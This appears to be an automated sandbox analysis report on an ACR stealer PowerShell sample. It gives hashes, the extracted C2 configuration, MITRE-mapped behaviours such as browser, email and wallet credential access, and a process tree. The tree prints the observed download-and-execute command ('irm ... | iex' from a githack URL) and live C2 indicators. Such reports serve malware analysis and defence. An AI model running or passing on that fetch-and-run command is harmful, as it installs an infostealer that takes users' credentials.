acrstealer | 61c24b0138c0b68dc54b2d8667ce6a37c6857aff443fca11d4aa39c3332518a3

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/09/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
475333927k.ps1
Size 93KB
Sample260916-pg3bzazerg
SHA256 61c24b0138c0b68dc54b2d8667ce6a37c6857aff443fca11d4aa39c3332518a3
MD5 da7b7b7a4d7b7c0f7da53a320debc2df
SHA1 4fe9a58b141e7c4379cce79afc895cd82cdb9b8d
SHA512 11d4d0a407b9dcbd75a6ab9f57c3987b518a4ff88a57ec17e7abc938983925c42c97d30918f5630527834dc0e012ff8eaa25416702baca6928e657f1f688b389
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdQ9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUncu
TLSH
T19E9323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution acrstealer persistence spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.3.10-alpha1

logs.primebyte.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd851-d0e2-7805-ae09-2dd1daa78960
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 5136 created 4624	5136	rundll32.exe	82
PID 5136 created 4624	5136	rundll32.exe	82
PID 5136 created 4624	5136	rundll32.exe	82

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3336	powershell.exe
3	3336	powershell.exe
4	5136	rundll32.exe
6	5136	rundll32.exe
168	5136	rundll32.exe
169	5136	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5012	PowerShell.exe
3336	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5388	chrome.exe
4656	msedge.exe

Checks processor information in registry 2 TTPs 19 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134340347629214563"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4154726816-2055034831-2297277433-1000\{2CFA8A8C-8E0D-4AF5-B309-A6C53F9F655F}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5012	PowerShell.exe
5012	PowerShell.exe
3336	powershell.exe
3336	powershell.exe
3336	powershell.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe
5136	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
2948	msedge.exe
2948	msedge.exe
2948	msedge.exe
2948	msedge.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	5012	PowerShell.exe
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeShutdownPrivilege	3752	chrome.exe
Token: SeCreatePagefilePrivilege	3752	chrome.exe
Token: SeShutdownPrivilege	3752	chrome.exe
Token: SeCreatePagefilePrivilege	3752	chrome.exe
Token: SeShutdownPrivilege	3752	chrome.exe
Token: SeCreatePagefilePrivilege	3752	chrome.exe
Token: SeShutdownPrivilege	3752	chrome.exe
Token: SeCreatePagefilePrivilege	3752	chrome.exe
Token: SeShutdownPrivilege	3752	chrome.exe
Token: SeCreatePagefilePrivilege	3752	chrome.exe
Token: SeShutdownPrivilege	3752	chrome.exe
Token: SeCreatePagefilePrivilege	3752	chrome.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
3752	chrome.exe
2948	msedge.exe
2332	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5012 wrote to memory of 4372	5012	PowerShell.exe	89
PID 4372 wrote to memory of 3340	4372	csc.exe	90
PID 5012 wrote to memory of 5776	5012	PowerShell.exe	91
PID 5776 wrote to memory of 3640	5776	csc.exe	92
PID 5012 wrote to memory of 3336	5012	PowerShell.exe	93
PID 3336 wrote to memory of 5136	3336	powershell.exe	95
PID 3336 wrote to memory of 5136	3336	powershell.exe	95
PID 5136 wrote to memory of 3752	5136	rundll32.exe	96
PID 3752 wrote to memory of 4664	3752	chrome.exe	97
PID 3752 wrote to memory of 4780	3752	chrome.exe	98
PID 3752 wrote to memory of 4780	3752	chrome.exe	98
PID 3752 wrote to memory of 5388	3752	chrome.exe	99
PID 3752 wrote to memory of 3460	3752	chrome.exe	100
PID 3752 wrote to memory of 3460	3752	chrome.exe	100
PID 3752 wrote to memory of 3184	3752	chrome.exe	102
PID 3752 wrote to memory of 4604	3752	chrome.exe	103
PID 3752 wrote to memory of 3184	3752	chrome.exe	102
PID 3752 wrote to memory of 4604	3752	chrome.exe	103
PID 3752 wrote to memory of 4568	3752	chrome.exe	104
PID 3752 wrote to memory of 4568	3752	chrome.exe	104
PID 3752 wrote to memory of 5064	3752	chrome.exe	105
PID 3752 wrote to memory of 5064	3752	chrome.exe	105
PID 3752 wrote to memory of 252	3752	chrome.exe	106
PID 3752 wrote to memory of 4692	3752	chrome.exe	107
PID 3752 wrote to memory of 2348	3752	chrome.exe	108
PID 3752 wrote to memory of 4692	3752	chrome.exe	107
PID 3752 wrote to memory of 2348	3752	chrome.exe	108
PID 3752 wrote to memory of 5300	3752	chrome.exe	111
PID 3752 wrote to memory of 5912	3752	chrome.exe	140
PID 3752 wrote to memory of 5300	3752	chrome.exe	111
PID 3752 wrote to memory of 2960	3752	chrome.exe	113
PID 3752 wrote to memory of 5912	3752	chrome.exe	140
PID 3752 wrote to memory of 2960	3752	chrome.exe	113
PID 3752 wrote to memory of 2308	3752	chrome.exe	115
PID 3752 wrote to memory of 2308	3752	chrome.exe	115
PID 3752 wrote to memory of 1272	3752	chrome.exe	116
PID 3752 wrote to memory of 1272	3752	chrome.exe	116
PID 3752 wrote to memory of 5812	3752	chrome.exe	117
PID 3752 wrote to memory of 932	3752	chrome.exe	138
PID 3752 wrote to memory of 5812	3752	chrome.exe	117
PID 3752 wrote to memory of 932	3752	chrome.exe	138
PID 3752 wrote to memory of 2684	3752	chrome.exe	119
PID 3752 wrote to memory of 2684	3752	chrome.exe	119
PID 3752 wrote to memory of 1240	3752	chrome.exe	120
PID 3752 wrote to memory of 1240	3752	chrome.exe	120
PID 3752 wrote to memory of 4628	3752	chrome.exe	121
PID 3752 wrote to memory of 4628	3752	chrome.exe	121
PID 3752 wrote to memory of 5672	3752	chrome.exe	122
PID 3752 wrote to memory of 5672	3752	chrome.exe	122
PID 5136 wrote to memory of 2948	5136	rundll32.exe	123
PID 2948 wrote to memory of 4700	2948	msedge.exe	125
PID 2948 wrote to memory of 1156	2948	msedge.exe	126
PID 2948 wrote to memory of 4656	2948	msedge.exe	127
PID 2948 wrote to memory of 1156	2948	msedge.exe	126
PID 2948 wrote to memory of 1156	2948	msedge.exe	126
PID 2948 wrote to memory of 6008	2948	msedge.exe	128
PID 2948 wrote to memory of 6008	2948	msedge.exe	128
PID 2948 wrote to memory of 6120	2948	msedge.exe	130
PID 2948 wrote to memory of 6120	2948	msedge.exe	130
PID 2948 wrote to memory of 6120	2948	msedge.exe	130
PID 2948 wrote to memory of 1608	2948	msedge.exe	131
PID 2948 wrote to memory of 1608	2948	msedge.exe	131
PID 2948 wrote to memory of 1608	2948	msedge.exe	131
PID 2948 wrote to memory of 5160	2948	msedge.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:4624
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\475333927k.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3mj0eenm\3mj0eenm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4372
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3B4A.tmp" "c:\Users\Admin\AppData\Local\Temp\3mj0eenm\CSCFF19331358D449A78D6C9E33697BC36A.TMP"
      4⤵
      PID:3340
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dciirb3m\dciirb3m.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5776
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES550C.tmp" "c:\Users\Admin\AppData\Local\Temp\dciirb3m\CSC39E6696EE82949AB8030A53B65CD2D9.TMP"
      4⤵
      PID:3640
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/19875567137/465636664593hfgd/refs/heads/main/dfsgh64537-87 | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3336
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:5136
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffe63bec728,0x7ffe63bec734,0x7ffe63bec740
    3⤵
    PID:4664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1640,i,16497219380905927814,17383166388922434791,262144 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=1932 /prefetch:2
    3⤵
    PID:4780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1432,i,2580257557147954730,10940789517124627359,524288 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2320,i,3566627466880562192,15986807018335270861,524288 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:13
    3⤵
    PID:3460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3208,i,7706700496309759225,12815624229790142732,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:1
    3⤵
    PID:3184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3212,i,15629818953923913162,11606414804901971053,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
    3⤵
    PID:4604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4492,i,16769963613775723123,13108940167299488451,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:1
    3⤵
    PID:4568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4616,i,11545877995605859605,16222874066704354146,524288 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
    3⤵
    PID:5064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5264,i,1756776687919905644,11188252370596696844,524288 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:14
    3⤵
    PID:252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5396,i,7008878309248329727,898871875010093097,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:1
    3⤵
    PID:4692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5372,i,15171571522766664179,3244773144793955668,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:1
    3⤵
    PID:2348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5664,i,13178093098620407293,7479954556462692987,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:1
    3⤵
    PID:5300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5724,i,638232897636346785,13647398499966510383,524288 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:14
    3⤵
    PID:5912
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5448,i,16791805807671202559,12724183310916654689,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:1
    3⤵
    PID:2960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6088,i,11457254842511622790,10596757806699255787,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:1
    3⤵
    PID:2308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5416,i,13628157785841809467,16919121843895851115,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:1
    3⤵
    PID:1272
- - C:\Program Files\Google\Chrome\Application\chrome.exe
